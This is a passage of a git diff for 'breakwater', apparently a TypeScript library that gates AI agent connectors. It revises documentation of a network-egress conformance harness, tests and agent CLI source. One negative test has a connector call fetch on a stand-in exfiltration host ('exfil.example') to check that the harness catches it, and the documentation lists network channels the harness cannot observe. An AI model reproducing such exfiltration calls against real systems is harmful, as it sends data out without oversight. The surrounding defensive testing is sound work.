`POLICIES_NOT_WIRED`: the report names `fetch`, `audit`, or `both`. A `fetch` finding cannot distinguish a factory that omitted `policies.fetch` from a connector calling ambient fetch directly for a declared host. Both leave an escape and zero harness transport calls. Read the escape record beside the finding for the authoritative request evidence. An `audit` finding means the subject reached its gate boundary without recording a witness on the supplied logger; where the invocation itself failed, it means the invocation ended before a witness could be recorded and says nothing about the boundary. +- `FACTORY_FAILED`: construction threw. For an `Error` with a string message, the reason is that message. An unreadable error becomes `unreadable error`; a non-Error object becomes `a non-Error object` or `null`; a thrown function becomes `a function`, never its source text. Other thrown values use their string representation. - `INSTRUMENTATION_UNSUPPORTED`: an entry point could not be instrumented, or two entry points name the same property. -- `INSTRUMENTATION_REPLACED`: assignment to a harness-installed accessor was recorded without applying it, or the descriptor or effective value differs from the installed instrumentation, or could not be read, before restoration. When verification fails, the case proves `nothing` and skips expectation checks. Either finding during probe construction refuses the run. +- `INSTRUMENTATION_REPLACED`: assignment to a harness-installed accessor was recorded without applying it, or the descriptor or effective value differs from the installed instrumentation, or could not be read, before restoration. The reason states what the harness established about calls made after the replacement — that they did not reach the trap, or that it did not check, which is what it reports for a replacement that is itself an accessor. A case whose verification fails is ineligible for the outcome check under the eligibility rule below. Either finding during probe construction refuses the run. - `INSTRUMENTATION_NOT_RESTORED`: restoration threw or its descriptor verification failed. The run ends and names any skipped cases. - `RUN_OVERLAPPING`: another harness run owns instrumentation in this isolate. - `ISOLATE_POISONED`: an earlier case timed out in this isolate; no further run is accepted. @@ -797,44 +803,54 @@ Choose expectations according to the path exercised: | `policy-denied` with `code` | A subject denial with another policy kind, plus the expected subject decision code | | `no-network` | No subject denial and no allowed harness transport call | -A recorded denial takes precedence over a guarded request. An egress-fetch denial takes precedence over another denial. A case reports observed hosts and is eligible for the outcome check only if its invocation ran, did not time out, and its instrumentation verified intact at settlement. Otherwise it proves `nothing` and reports no hosts, whether or not a denial was recorded. Within that condition, a boundary error without a subject audit witness also leaves the outcome as `nothing`, but does not clear the observed hosts. Every other eligible case runs the outcome check, including one whose foreign invocation failure records `CASE_INVOCATION_FAILED`: without a denial, a case that reached an allowed host proves `guarded-request`; otherwise it proves `no-network`. An expected code must occur among the subject's witness events, independently of the outcome check. +A recorded denial takes precedence over a guarded request. An egress-fetch denial takes precedence over another denial. -`guarded-request` requires at least one host. Each host is validated at parse time using the manifest's hostname pattern; an empty list or malformed host throws `TypeError`. Matching uses the manifest's case-insensitive hostname and wildcard rules. Every expected host must match an observed host; extra observed hosts are allowed. +A case reports observed hosts and is eligible for the outcome check only if its invocation ran, did not time out, and its instrumentation verified intact at settlement. Otherwise it proves `nothing` and its `guardedHosts` is empty, whether or not a denial was recorded. Within that condition, a boundary error without a subject audit witness also leaves the outcome as `nothing`, but does not clear the observed hosts. Every other eligible case runs the outcome check, including one that records `CASE_INVOCATION_FAILED` for a thrown value that is neither a policy denial, a boundary error, nor a harness refusal: without a denial, a case that reached an allowed host proves `guarded-request`; otherwise it proves `no-network`. An expected code must occur among the subject's witness events, independently of the outcome check. + +`guarded-request` requires at least one host. Each host is validated at parse time using the manifest's hostname pattern; an empty list or malformed host rejects with `TypeError`. Matching uses the manifest's case-insensitive hostname and wildcard rules. Every expected host must match an observed host; extra observed hosts are allowed. An egress-declaring connector needs an observed transport call somewhere in the run. The rule reads `transportCalls`, not an expectation's classification. A `guarded-request` case ordinarily supplies that evidence; a case that reaches a declared host and then gets denied on another call also supplies it. Denials before transport do not: an evaluator can emit an egress-fetch denial without making a request, and `EGRESS_HOST_NOT_DECLARED` occurs before the transport is called. `policy-denied` and `no-network` also supply no transport evidence by themselves. -Audit witnesses come from this case's supplied logger, during its invocation, with a `decisionCode` and `resource` equal to the subject connector's id. Setup logs, agent-policy records, and another connector's decisions cannot establish the subject's audit wiring or change its result. This attribution separates ordinary composition; it does not authenticate an arbitrary logger caller. `decisionCodes` preserves invocation-window events for diagnosis, including nested connector codes and `undefined` for events without a code. +Audit witnesses come from this case's supplied logger, during its invocation, with a `decisionCode` and `resource` equal to the subject connector's id. Setup logs, agent-policy records, and another connector's decisions cannot establish the subject's audit wiring or change its result. This attribution separates ordinary composition; it does not authenticate an arbitrary logger caller. `decisionCodes` preserves invocation-window events for diagnosis, including nested connector codes and `undefined` for events without a code; like `guardedHosts`, it is empty for a case the eligibility rule above excludes. + +Egress is not separated the same way. The supplied base transport checks every host against the SUBJECT's registered `egress`, whatever code is holding it: a nested connector the subject composes, handed the subject's `policies.fetch`, reaches a host only its own manifest declares and the transport refuses it there, recorded as a host the registered declaration does not cover. Declare on the subject every host its composition reaches, or give the nested connector its own transport and accept that traffic through it is unobserved. + +Input-schema failures and `invokeConnector` pre-flight refusals have no expectation arm. Test them in ordinary connector tests. Supplied here, they report `proved: 'nothing'` with `CASE_EXPECTATION_UNMET`, whatever the case declared, because the gate boundary was never reached. Cases refused before invocation by instrumentation, factory construction, registration, posture, or manifest checks, and cases with an invocation setup failure, never run their invocation and are ineligible under the eligibility rule above. These cases add no expectation or wiring failure. Any escape recorded during their setup still becomes `NETWORK_IO_OUTSIDE_RUNTIME_FETCH`. -Input-schema failures and `invokeConnector` pre-flight refusals have no expectation arm. Test them in ordinary connector tests. Supplied here, they report `proved: 'nothing'` with `CASE_EXPECTATION_UNMET`, whatever the case declared, because the gate boundary was never reached. Cases refused before invocation by instrumentation, factory construction, registration, posture, or manifest checks also prove `nothing`, as do cases with an invocation setup failure. These cases add no expectation or wiring failure. Any escape recorded during their setup still becomes `NETWORK_IO_OUTSIDE_RUNTIME_FETCH`. +A connector that rejects a well-formed input by design has the same shape here as one that is broken: every expectation arm describes what the connector did through its gate, and there is no arm for "rejected, as intended". Such a case reports `CASE_INVOCATION_FAILED` or `CASE_EXPECTATION_UNMET` and makes the run non-conformant. Certify the paths the connector completes, and keep the expected rejection in an ordinary connector test, which can assert the error itself. The harness always instruments `globalThis.fetch`. Add other transports as `entryPoints: [{ label, target, property }]`. Entries are processed one at a time, global fetch first, so a supplied target's property callbacks run under the global trap. A consumer-supplied accessor, inherited accessor, locked data descriptor, ignored write, or effective property read that still returns the original causes refusal. A configurable entry point must start as a data property the harness can replace; the harness installs its own accessor in place of that data property. Each write is verified through both its own descriptor and its effective value; each restore is verified against the captured descriptor. A failed write or verification rolls back the stack including that attempted entry. A validation or descriptor-read failure occurs before capture, so rollback covers the preceding entries. A duplicate `(target, property)` pair refuses the run before any case. Duplicate case names, duplicate labels, and the reserved labels `globalThis.fetch` and `policies.fetch` are malformed options and reject with `TypeError`, without a report. A supplied entry's property refusal is case-scoped. The global fetch descriptor is checked before probe construction and again for each case: an initially unsupported global refuses the run, while a global made unsupported mid-run refuses the affected case. A finding's `case` identifies the latter. Fix the target or options, stop earlier work redefining the global, or use a runtime whose global fetch is a writable or configurable data property. -On an absent or configurable entry point, the harness installs an accessor whose getter returns the trap. An assignment to that instrumented entry point is recorded when it happens as `INSTRUMENTATION_REPLACED` and is not applied; the trap stays in place. A writable non-configurable data property uses assignment installation, which offers no defence against assignments during execution. A redefinition still in place when the case settles or times out, or when the probe factory returns, is reported as `INSTRUMENTATION_REPLACED`. The harness reports the requests that pass through its trap. Restoration follows invocation settlement or timeout. It restores entry points before clearing the timer, attempts the remaining restores after a failure, and ends a run whose restoration fails. +On an absent or configurable entry point, the harness installs an accessor whose getter returns the trap. An assignment to that instrumented entry point is recorded when it happens as `INSTRUMENTATION_REPLACED` and is not applied; the trap stays in place. A writable non-configurable data property uses assignment installation, which offers no defence against assignments during execution. A redefinition or assignment still in place when the case settles or times out, or when the probe factory returns, is reported as `INSTRUMENTATION_REPLACED`. Restoration follows invocation settlement or timeout. It restores entry points before clearing the timer, attempts the remaining restores after a failure, and ends a run whose restoration fails. The harness never restores around an unfinished `await`: it puts the whole stack back in one synchronous step. + +`INSTRUMENTATION_NOT_RESTORED` ends the run, and the properties it names are left holding whatever the failed restore left there — for `globalThis.fetch`, the harness's trap, which refuses every call and records an escape nothing reads. The isolate is not refused afterwards, so the repair is yours: the finding names each property it could not put back, and your test file must restore those from a descriptor it captured before the run, or discard the isolate rather than run anything else in it. Each case has `timeoutMs`, defaulting to 2000 ms and accepting positive integers up to 2,147,483,647. Your test timeout must exceed `cases.length × timeoutMs` plus setup. Vitest defaults to 5000 ms per test, so three cases at the harness's default bound require a higher test timeout or lower per-case bounds. Cases must await their own work. -A timed-out case proves `nothing`, with no expectation check or `CASE_EXPECTATION_UNMET`. It ends the run and permanently refuses later runs in the isolate, preventing abandoned work from being attributed to another case. Put a test that expects a timeout last in its file, or give it its own file. Vitest reuses a file's module graph, so later runs in that file receive `ISOLATE_POISONED`. The package's suite places its timeout test and then its poisoned-isolate assertion last. There is no reset API. +A run owns `globalThis.fetch` for its whole duration, so nothing else in the isolate may call `fetch` while it runs, and the failure goes both ways: an unrelated request made during a case reaches the trap, is refused, and is attributed to the subject as a security finding, while the code that made it fails on a refusal it cannot explain. Run the harness with no concurrent test in the same file or worker, and leave no fetch work un-awaited when a case settles — a promise the previous test abandoned is indistinguishable, to the trap, from one the subject started. + +A timed-out case is ineligible under the eligibility rule above, with no expectation check or `CASE_EXPECTATION_UNMET`. It ends the run and permanently refuses later runs in the isolate, preventing abandoned work from being attributed to another case. Put a test that expects a timeout last in its file, or give it its own file. Vitest reuses a file's module graph, so later runs in that file receive `ISOLATE_POISONED`. The package's suite places its timeout test and then its poisoned-isolate assertion last. There is no reset API. -Use `respond(request)` to return `{ status?, headers?, body? }` for guarded traffic; the default is status 200 with an empty body. The request includes the exact URL, hostname, and uppercase method. The URL stays inside your test process and is not copied into harness-generated diagnostics, which use hostnames. `FACTORY_FAILED` is different: when a factory throws an `Error` with a readable string message, that message can contain URLs or other request data your code interpolated. String representations of other thrown values can also contain request data. Inspect those messages before sharing a report. +Use `respond(request)` to return `{ status?, headers?, body? }` for guarded traffic; the default is status 200 with an empty body. The request includes the exact URL, hostname, and uppercase method. The URL stays inside your test process and is not copied into harness-generated diagnostics, which use hostnames. `FACTORY_FAILED` is different: when a factory throws an `Error` with a readable string message, that message can contain URLs or other request data your code interpolated. String representations of other thrown values can also contain request data. `INSTRUMENTATION_NOT_RESTORED` and `INSTRUMENTATION_UNSUPPORTED` carry the same text from a second source: each interpolates the error your own `entryPoints` target raised on a write, a restore, or a descriptor read. Inspect all three before sharing a report. ### Conformance limits -Every report states its limit: +Every report states its limit, and the limit names this section: -> conformance covers only the supplied cases, in this isolate, for the duration of each case; the channels it does not observe are listed at https://github.com/ProofOfTechOrg/anchorage/blob/main/packages/breakwater/CONNECTORS.md#conformance-limits +> conformance covers only the supplied cases, in this isolate, for the duration of each case; channels a run observes, and channels it does not, are described under Conformance limits in the CONNECTORS.md that ships with this package, at https://github.com/ProofOfTechOrg/anchorage/blob/main/packages/breakwater/CONNECTORS.md#conformance-limits -A run's evidence is finite, and traffic can reach the network by paths it does not observe. +A run's evidence is finite. These items state what a run records on the paths it reaches, and the paths by which traffic can reach the network unobserved; the rules they refer to are stated under [Assert connector conformance](https://github.com/ProofOfTechOrg/anchorage/blob/main/packages/breakwater/CONNECTORS.md#assert-connector-conformance). -1. A run certifies the cases you supply, in the isolate that loads the harness, over each case's instrumented window: the install that precedes the invocation, the invocation, and the settlement that follows it. A network path no case exercises and another isolate are outside that evidence. Work that outlives the case that started it is partly observed, on the terms the items below set. -2. A `fetch` reference the subject captured before the harness installed its trap bypasses that trap, and a redefinition or deletion the case itself reverses before it settles is gone before the harness verifies the entry point; neither is observed. An assignment to a harness-installed accessor is a different channel: it is recorded and the trap is kept, as the `INSTRUMENTATION_REPLACED` description above states. -3. Traffic through an independent transport, one that reaches neither a harness trap nor the supplied base transport, is unobserved. Whether a factory that supplies such a transport in place of the harness's is remarked depends on the declaration: for a connector declaring `egress`, the transport-evidence requirement above remarks a run in which no case reached the harness transport, as `NO_TRANSPORT_EVIDENCE`; a connector declaring no `egress` is outside that requirement, so the substitution is silently unobserved. A replacement transport that itself calls an instrumented entry point is still trapped. -4. A parseable request the connector makes on the supplied base transport for a host its registered manifest declares is served with a synthetic response. The case result's `transportCalls` is the transport's count read when the case settles; a call the retained transport serves after settlement is served the same way and counted by no case. Whether the call's host is among the `guardedHosts` that prove `guarded-request` depends on the precedence rule above and its eligibility condition. The harness records no escape for it, and no finding identifies it as a call made around the guarded `fetch`. `POLICIES_NOT_WIRED`, described above, reports absent wiring evidence rather than a served call. -5. A refusal on the supplied base transport — an unparseable address, no bound egress declaration, or an undeclared host — and a call through a trap reference the case kept alive both reach that case's recorder. Before the case settles, the attempt joins that case's `escapes`; after it settles, the `NETWORK_IO_OUTSIDE_RUNTIME_FETCH` rule above routes it. Once the report is built the recording stops, and the refusal still happens. The probe is a separate path: a transport or trap retained from probe construction reaches the run-level recorder, under no case name. +1. A run certifies the cases you supply, in the isolate that loads the harness, over each case's instrumented window: the install that precedes the case, the factory construction and invocation inside it, and the settlement that follows. A network path no case exercises and another isolate are outside that evidence. The harness keeps its overlapping-run and timed-out-isolate guards in module scope, so a second copy of this package loaded in the same isolate carries guards of its own; the package's `.` and `./connector-sdk` entry points resolve to one copy. +2. A `fetch` reference the subject captured before the harness installed its trap bypasses that trap, and a redefinition or deletion the case itself reverses before it settles is gone before the harness verifies the entry point; neither is observed. An assignment to a harness-installed accessor is a different channel: the `INSTRUMENTATION_REPLACED` description states what happens to it. +3. Traffic through an independent transport, one that reaches neither a harness trap nor the supplied base transport, is unobserved. Whether a factory that supplies such a transport in place of the harness's is reported depends on the declaration: a connector declaring `egress` is subject to the transport-evidence requirement, which can report the run as `NO_TRANSPORT_EVIDENCE`; a connector declaring no `egress` is outside that requirement, so the substitution is silently unobserved. A replacement transport that itself calls an instrumented entry point is still trapped. On workerd the independent transports are first-class and named: a service, Durable Object or other binding's own `fetch` method, a socket opened with `connect()` from `cloudflare:sockets`, and a `WebSocket` the connector constructs. None of them goes through `globalThis.fetch`, so none is trapped and no case observes one. Pass such a binding as an `entryPoints` target to instrument its method, or declare the connector `declaration-only` and certify nothing about that traffic. +4. A parseable request the connector makes on the supplied base transport for a host its registered manifest declares is served with a synthetic response. The case result's `transportCalls` is the transport's count read when the case settles; a call the retained transport serves after settlement is served the same way and counted by no case. Whether the call's host is among the case's `guardedHosts` depends on the eligibility rule alone; the precedence rule decides whether those hosts prove `guarded-request`. The harness records no escape for it, and no finding identifies it as a call made around the guarded `fetch`. `POLICIES_NOT_WIRED` reports absent wiring evidence rather than a served call. +5. A refusal on the supplied base transport — an unparseable address, no bound egress declaration, or an undeclared host — and a call through a trap reference the case kept alive both reach that case's recorder, where the `NETWORK_IO_OUTSIDE_RUNTIME_FETCH` rule routes them. The refusal still happens whether or not the attempt is recorded. The probe is a separate path: a transport or trap retained from probe construction reaches the run-level recorder, under no case name. 6. Work abandoned by one case that reads `globalThis.fetch` while a later case's trap is installed reaches that trap and is attributed to the later case. The harness records the instrument the call reached; it does not recover which case started the work. -7. A timed-out case ends the run and refuses later runs in this isolate, as described above. For it there is no interval in which a late attempt becomes a run-level finding: the case loop marks the case settled and the run closes with no `await` between the two, so work the case abandoned resumes to a closed run and nothing it then does is recorded. For work abandoned by any case, a read of `globalThis.fetch` when no case trap is installed, including after the run closes, reaches the restored global if restoration succeeds. A request through that global is neither trapped nor recorded and leaves the process. -8. Targets you pass as `entryPoints` are your own test fixtures. The install and restore verification above detects concrete property mediation, such as an ignored write or an overriding getter, and not a target that adapts to those checks. Instrument `globalThis.fetch` alone when you need that guarantee. +7. A timed-out case ends the run and refuses later runs in this isolate. For it there is no interval in which a late attempt becomes a run-level finding: the case loop marks the case settled and the run closes with no `await` between the two, so work the case abandoned resumes to a closed run and nothing it then does is recorded. For work abandoned by any case, a read of `globalThis.fetch`, or of any restored entry point, when no trap is installed, including after the run closes, reaches the restored property if restoration succeeds. A request through it is neither trapped nor recorded and leaves the process. +8. Targets you pass as `entryPoints` are your own test fixtures. The install and restore verification detects concrete property mediation, and not a target that adapts to those checks. Instrument `globalThis.fetch` alone when you need that guarantee. ## Contribute a connector diff --git a/packages/breakwater/README.md b/packages/breakwater/README.md index 537713fd..48a23f71 100644 --- a/packages/breakwater/README.md +++ b/packages/breakwater/README.md @@ -352,8 +352,8 @@ the result at their gateway boundary. A fixed window can admit traffic on both sides of a boundary, approaching twice the nominal count in a short interval. Use another `RateLimitStore` -implementation if you require token-bucket or GCRA semantics. -Counts must be safe integers from 1 through `Number.MAX_SAFE_INTEGER`. +implementation if you require token-bucket or GCRA semantics. Counts must be +safe integers from 1 through `Number.MAX_SAFE_INTEGER`. `D1RateLimitStore` commits its increment and rollover cleanup in one D1 batch, so cleanup failure cannot consume quota for a rejected call. @@ -450,9 +450,8 @@ process-tree termination, timeout, and output limits. The returned `text` is functional agent output and may contain sensitive data. The `command` redacts the prompt and `--flag=value` option values. Validation -failures, error messages, error metadata, and -breakwater-generated audit reasons do not contain the prompt or captured -stdout and stderr. +failures, error messages, error metadata, and breakwater-generated audit +reasons do not contain the prompt or captured stdout and stderr. The adapter does not sandbox the child. It inherits the parent environment and credentials, and `cwd` is the workspace the CLI may modify. Its manifest @@ -476,9 +475,9 @@ This enforcement cannot see: - raw sockets or child-process network traffic. Route every connector request through `runtime.fetch`. Use host-level network -controls when code outside that seam must also be constrained. -Declare `permissions.egressEnforcement: 'declaration-only'` for traffic outside -the guard; `connectorEgressPosture()` reads the resolved posture and connector +controls when code outside that seam must also be constrained. Declare +`permissions.egressEnforcement: 'declaration-only'` for traffic outside the +guard; `connectorEgressPosture()` reads the resolved posture and connector audit events record it as `detail.egressEnforcement`. ## Public API diff --git a/packages/breakwater/scripts/packed-consumer-test.mjs b/packages/breakwater/scripts/packed-consumer-test.mjs index fb18ee2c..e1ee1d85 100644 --- a/packages/breakwater/scripts/packed-consumer-test.mjs +++ b/packages/breakwater/scripts/packed-consumer-test.mjs @@ -248,7 +248,9 @@ import { CODEX_CLI } from '@proofoftech/breakwater/agent-cli'; const code: AgentCliErrorCode = 'nonzero-exit'; const posture: ConnectorEgressPosture = 'enforced'; +const postureDeclared: ConnectorEgressPosture = 'declaration-only'; const postureFromSubpath: ConnectorEgressPostureFromSubpath = 'declaration-only'; +const postureEnforcedFromSubpath: ConnectorEgressPostureFromSubpath = 'enforced'; const metadata: AgentCliErrorMetadata = { code }; const event = null as AuditEvent | null; const permission: Permission = 'payments.release'; @@ -417,6 +419,7 @@ import { ConnectorConformanceError, ConnectorPolicyError, ConnectorValidationError, + connectorEgressPosture, createConnector, createGuardedAgent, createCodexConnector, @@ -429,7 +432,7 @@ import { CONNECTOR_EXECUTION_CONTEXT_KEY, CONNECTOR_GRANTS_CONTEXT_KEY, connectorManifest, - connectorEgressPosture, + connectorEgressPosture as connectorEgressPostureFromSubpath, invokeConnector as invokeConnectorFromSubpath, singleTenantConnectorPolicies as singleTenantConnectorPoliciesFromSubpath, } from '@proofoftech/breakwater/connector-sdk'; @@ -451,6 +454,11 @@ for (const name of [ 'ConnectorEvaluatorError', 'ConnectorInvocationError', 'ConnectorValidationError', 'EgressDeniedError', 'EgressGuardError', 'connectorDecisionRetryable', 'isConnectorDecisionCode', ]) assert.equal(root[name], sdk[name], name); +// The harness's run guards are module-scoped. ConnectorConformanceError is +// declared in the module that holds them, so one identity here is one copy of +// those guards behind both entry points. +for (const name of ['ConnectorConformanceError', 'assertConnectorConformance']) + assert.equal(root[name], sdk[name], name); const legacyPolicy = new root.ConnectorPolicyError('packed.read', 'custom', 'denied'); assert.equal(legacyPolicy.code, 'EVALUATOR_DENIED'); assert.equal(legacyPolicy.policyKind, 'evaluator'); @@ -626,12 +634,19 @@ assert.deepEqual(connectorManifest(tool), { rateLimit: undefined, idempotencyKey: undefined, }); +assert.equal(connectorEgressPosture, connectorEgressPostureFromSubpath); assert.equal(connectorEgressPosture(tool), 'declaration-only'); -assert.equal(connectorEgressPosture(presetRead), 'declaration-only'); +assert.equal(connectorEgressPostureFromSubpath(presetRead), 'declaration-only'); assert.equal(connectorEgressPosture({}), undefined); +assert.equal(connectorEgressPosture(createConnector({ + id: 'packed.enforced', + description: 'Declares an enforced posture', + execute: async () => ({ ok: true }), + permissions: { sideEffect: 'read', egressEnforcement: 'enforced' }, +})), 'enforced'); assert.throws(() => createConnector({ id: 'packed.unenforced', - description: 'Refused by the deployment posture gate', + description: 'Refused by the posture the passed policies require', execute: async () => ({ ok: true }), permissions: { sideEffect: 'read' }, policies: { requireEgressEnforcement: true }, @@ -691,6 +706,14 @@ const conformanceManifest = { egress: ['api.vendor.example'], egressEnforcement: 'enforced', }; +// Written out again, not aliased: the harness compares the claim with the +// manifest the connector registered, and one object compared with itself +// establishes nothing about the declaration. +const conformanceClaim = { + sideEffect: 'read', + egress: ['api.vendor.example'], + egressEnforcement: 'enforced', +}; const conformanceFactory = (runtime) => createConnector({ id: 'packed.conforming', description: 'Packed conformance subject', @@ -707,7 +730,7 @@ const conformanceCase = { expect: { outcome: 'guarded-request', hosts: ['api.vendor.example'] }, }; const conformanceReport = await assertConnectorConformance(conformanceFactory, { - manifest: conformanceManifest, + manifest: conformanceClaim, cases: [conformanceCase], }); assert.equal(conformanceReport.conformant, true); @@ -725,7 +748,7 @@ await assert.rejects(assertConnectorConformance((runtime) => createConnector({ await globalThis.fetch('https://exfil.example'); return {}; }, -}), { manifest: conformanceManifest, cases: [conformanceCase] }), (error) => { +}), { manifest: conformanceClaim, cases: [conformanceCase] }), (error) => { assert.ok(error instanceof ConnectorConformanceError); assert.ok(error.report.findings.some((finding) => finding.code === 'NETWORK_IO_OUTSIDE_RUNTIME_FETCH' && diff --git a/packages/breakwater/src/agent-cli/agent-cli.test.ts b/packages/breakwater/src/agent-cli/agent-cli.test.ts index 5d405459..bf1b3051 100644 --- a/packages/breakwater/src/agent-cli/agent-cli.test.ts +++ b/packages/breakwater/src/agent-cli/agent-cli.test.ts @@ -152,26 +152,6 @@ function expectProcessAbsent(pid: number): void { } describe('createClaudeCodeConnector', () => { - it('declares a declaration-only egress posture on the Agent CLI manifest', () => { - // #given - const exec = mockExec(); - // #when - const tools = [ - createAgentCliConnector(privateDefinition(), { exec }), - createClaudeCodeConnector({ exec }), - createCodexConnector({ exec }), - ]; - // #then - for (const tool of tools) { - expect(connectorManifest(tool)).toHaveProperty( - 'egressEnforcement', - 'declaration-only', - ); - expect(connectorEgressPosture(tool)).toBe('declaration-only'); - } - expect(exec).not.toHaveBeenCalled(); - }); - it('builds headless args, forwards cwd/timeout, parses the JSON result', async () => { // #given const exec = mockExec({ @@ -269,6 +249,26 @@ describe('createCodexConnector', () => { }); describe('agent CLI connector enforcement', () => { + it('declares a declaration-only egress posture on the Agent CLI manifest', () => { + // #given + const exec = mockExec(); + // #when + const tools = [ + createAgentCliConnector(privateDefinition(), { exec }), + createClaudeCodeConnector({ exec }), + createCodexConnector({ exec }), + ]; + // #then + for (const tool of tools) { + expect(connectorManifest(tool)).toHaveProperty( + 'egressEnforcement', + 'declaration-only', + ); + expect(connectorEgressPosture(tool)).toBe('declaration-only'); + } + expect(exec).not.toHaveBeenCalled(); + }); + it('preserves custom denial metadata while replacing the CLI reason', async () => { const audit = new AuditLogger(); const exec = mockExec(); diff --git a/packages/breakwater/src/agent-cli/default-exec.ts b/packages/breakwater/src/agent-cli/default-exec.ts index 0daba435..731f3357 100644 --- a/packages/breakwater/src/agent-cli/default-exec.ts +++ b/packages/breakwater/src/agent-cli/default-exec.ts @@ -2,7 +2,7 @@ // Package-internal Node executor. Runtime built-ins stay behind structural // lookups so importing the public agent-cli entry point remains portable. -import type { AgentCliExec, AgentCliExecResult } from './index.js'; +import type { AgentCliExec, AgentCliExecResult } from './exec-contract.js'; import { type TextCodecLookups, type TextDecoderLike, diff --git a/packages/breakwater/src/agent-cli/exec-contract.ts b/packages/breakwater/src/agent-cli/exec-contract.ts new file mode 100644 index 00000000..2dd549f1 --- /dev/null +++ b/packages/breakwater/src/agent-cli/exec-contract.ts @@ -0,0 +1,22 @@ +// SPDX-License-Identifier: Apache-2.0 +// Spawn seam contract — the process result and the injectable runner. +// +// A type-only leaf, so default-exec.ts implements the seam without importing +// the barrel that imports it back. + +/** Raw process result returned by an injected {@link AgentCliExec}. */ +export interface AgentCliExecResult { + /** Standard output captured from the process. */ + stdout: string; + /** Standard error captured from the process. */ + stderr: string; + /** Integer process exit code. */ + exitCode: number; +} + +/** Spawn seam — inject in tests or to sandbox/containerize execution. */ +export type AgentCliExec = ( + command: string, + args: readonly string[], + options: { cwd?: string; timeoutMs: number }, +) => Promise; diff --git a/packages/breakwater/src/agent-cli/index.ts b/packages/breakwater/src/agent-cli/index.ts index 313028ca..fe13c8d7 100644 --- a/packages/breakwater/src/agent-cli/index.ts +++ b/packages/breakwater/src/agent-cli/index.ts @@ -32,6 +32,7 @@ import { } from '../connector-sdk/index.js'; import { replaceConnectorInvocation } from '../connector-sdk/invocation-registry.js'; import { createDefaultExec, DefaultExecFailure } from './default-exec.js'; +import type { AgentCliExec, AgentCliExecResult } from './exec-contract.js'; /** Input accepted by an agent CLI connector. */ export interface AgentCliInput { @@ -58,22 +59,7 @@ export interface AgentCliOutput { simulated?: boolean; } -/** Raw process result returned by an injected {@link AgentCliExec}. */ -export interface AgentCliExecResult { - /** Standard output captured from the process. */ - stdout: string; - /** Standard error captured from the process. */ - stderr: string; - /** Integer process exit code. */ - exitCode: number; -} - -/** Spawn seam — inject in tests or to sandbox/containerize execution. */ -export type AgentCliExec = ( - command: string, - args: readonly string[], - options: { cwd?: string; timeoutMs: number }, -) => Promise; +export type { AgentCliExec, AgentCliExecResult } from './exec-contract.js'; /** Describes how to invoke and parse one agent CLI. */ export interface AgentCliDefinition { @@ -131,7 +117,11 @@ export interface AgentCliConnectorOptions { idempotencyKey?: boolean; /** Connector id override (running two differently-configured instances). */ id?: string; - /** Passed through to createConnector (audit, stores, evaluators). */ + /** + * Passed through to createConnector (audit, stores, evaluators). A + * `requireEgressEnforcement` member here throws the construction `TypeError` + * {@link createAgentCliConnector} describes. + */ policies?: ConnectorPolicies; /** * Cap on retained stdout/stderr per stream in the default exec (node's @@ -384,6 +374,11 @@ function redactDisplayFlag(flag: string): string { * Wrap any agent CLI as an approval-gated breakwater connector. The two * shipped definitions are createClaudeCodeConnector / createCodexConnector; * this is the seam for third-party CLIs. + * + * The adapter's manifest declares `egressEnforcement: 'declaration-only'`, + * because the child process carries its own transport. Construction therefore + * throws a `TypeError` when `options.policies` sets + * `requireEgressEnforcement`, which that posture cannot satisfy. */ export function createAgentCliConnector( definition: AgentCliDefinition, @@ -673,7 +668,9 @@ export const CODEX_CLI: AgentCliDefinition = { /** * Create an approval-gated Claude Code connector using - * {@link CLAUDE_CODE_CLI}. + * {@link CLAUDE_CODE_CLI}. Construction throws a `TypeError` on + * `options.policies.requireEgressEnforcement`, as + * {@link createAgentCliConnector} describes. */ export function createClaudeCodeConnector( options?: AgentCliConnectorOptions, @@ -683,6 +680,9 @@ export function createClaudeCodeConnector( /** * Create an approval-gated Codex connector using {@link CODEX_CLI}. + * Construction throws a `TypeError` on + * `options.policies.requireEgressEnforcement`, as + * {@link createAgentCliConnector} describes. */ export function createCodexConnector( options?: AgentCliConnectorOptions, diff --git a/packages/breakwater/src/audit/index.ts b/packages/breakwater/src/audit/index.ts index 07898a4e..7d74b735 100644 --- a/packages/breakwater/src/audit/index.ts +++ b/packages/breakwater/src/audit/index.ts @@ -14,7 +14,7 @@ import type { ConnectorDecisionCode, ConnectorPolicyName, } from '../connector-decision.js'; -import type { Actor } from '../rbac/index.js'; +import type { Actor } from '../rbac/actor.js'; /** Request-context key for trusted agent and run correlation fields. */ export const AGENT_AUDIT_CONTEXT_KEY = 'breakwater.auditContext'; diff --git a/packages/breakwater/src/connector-decision.ts b/packages/breakwater/src/connector-decision.ts index 582843e3..83af3c29 100644 --- a/packages/breakwater/src/connector-decision.ts +++ b/packages/breakwater/src/connector-decision.ts @@ -354,6 +354,13 @@ export function connectorErrorDecision( * trap answers with a throw; a value that cannot say what it is, is not the * constructor asked about. * + * The test for reaching for it: the operand is a value the SDK did not + * construct, and the answer can reach a conformance report. An operand the SDK + * built — every `validateOutput` failure, a `Promise` the SDK awaits, a store + * the caller passed to the constructor — carries no trap and takes a bare + * `instanceof`. Where the answer is a classification over several constructors, + * one guarded classification covers them all. + * * @internal */ export function isInstanceOf( @@ -367,7 +374,14 @@ export function isInstanceOf( } } -/** @internal */ +/** + * `value[key]` for a value the caller does not own. The read runs whatever + * `get` accessor the value carries, so a property that answers with a throw is + * not the value asked about. The companion of `isInstanceOf` for one property + * of such a value, under the same test. + * + * @internal + */ export function readProperty( value: T, key: K, diff --git a/packages/breakwater/src/connector-sdk/connector-sdk.test.ts b/packages/breakwater/src/connector-sdk/connector-sdk.test.ts index 319200b5..b4434a87 100644 --- a/packages/breakwater/src/connector-sdk/connector-sdk.test.ts +++ b/packages/breakwater/src/connector-sdk/connector-sdk.test.ts @@ -436,6 +436,58 @@ describe('connector egress posture', () => { expect(connectorEgressPosture(tool)).toBe('declaration-only'); }); + it('gates a manifest declaring egress hosts on its posture, not on the hosts', () => { + // #given + const egress = ['api.example.com']; + const policies = { requireEgressEnforcement: true as const }; + // #when / #then — the same declared hosts, refused under 'declaration-only' + // and admitted under 'enforced'. + expect(() => + makeConnector({ + permissions: { + sideEffect: 'read', + egress, + egressEnforcement: 'declaration-only', + }, + policies, + }), + ).toThrow(/requireEgressEnforcement/); + const { tool } = makeConnector({ + permissions: { + sideEffect: 'read', + egress, + egressEnforcement: 'enforced', + }, + policies, + }); + expect(connectorEgressPosture(tool)).toBe('enforced'); + expect(connectorManifest(tool)?.egress).toEqual(egress); + }); + + it('audits the posture connectorEgressPosture reads back', async () => { + // #given + for (const declared of [ + undefined, + 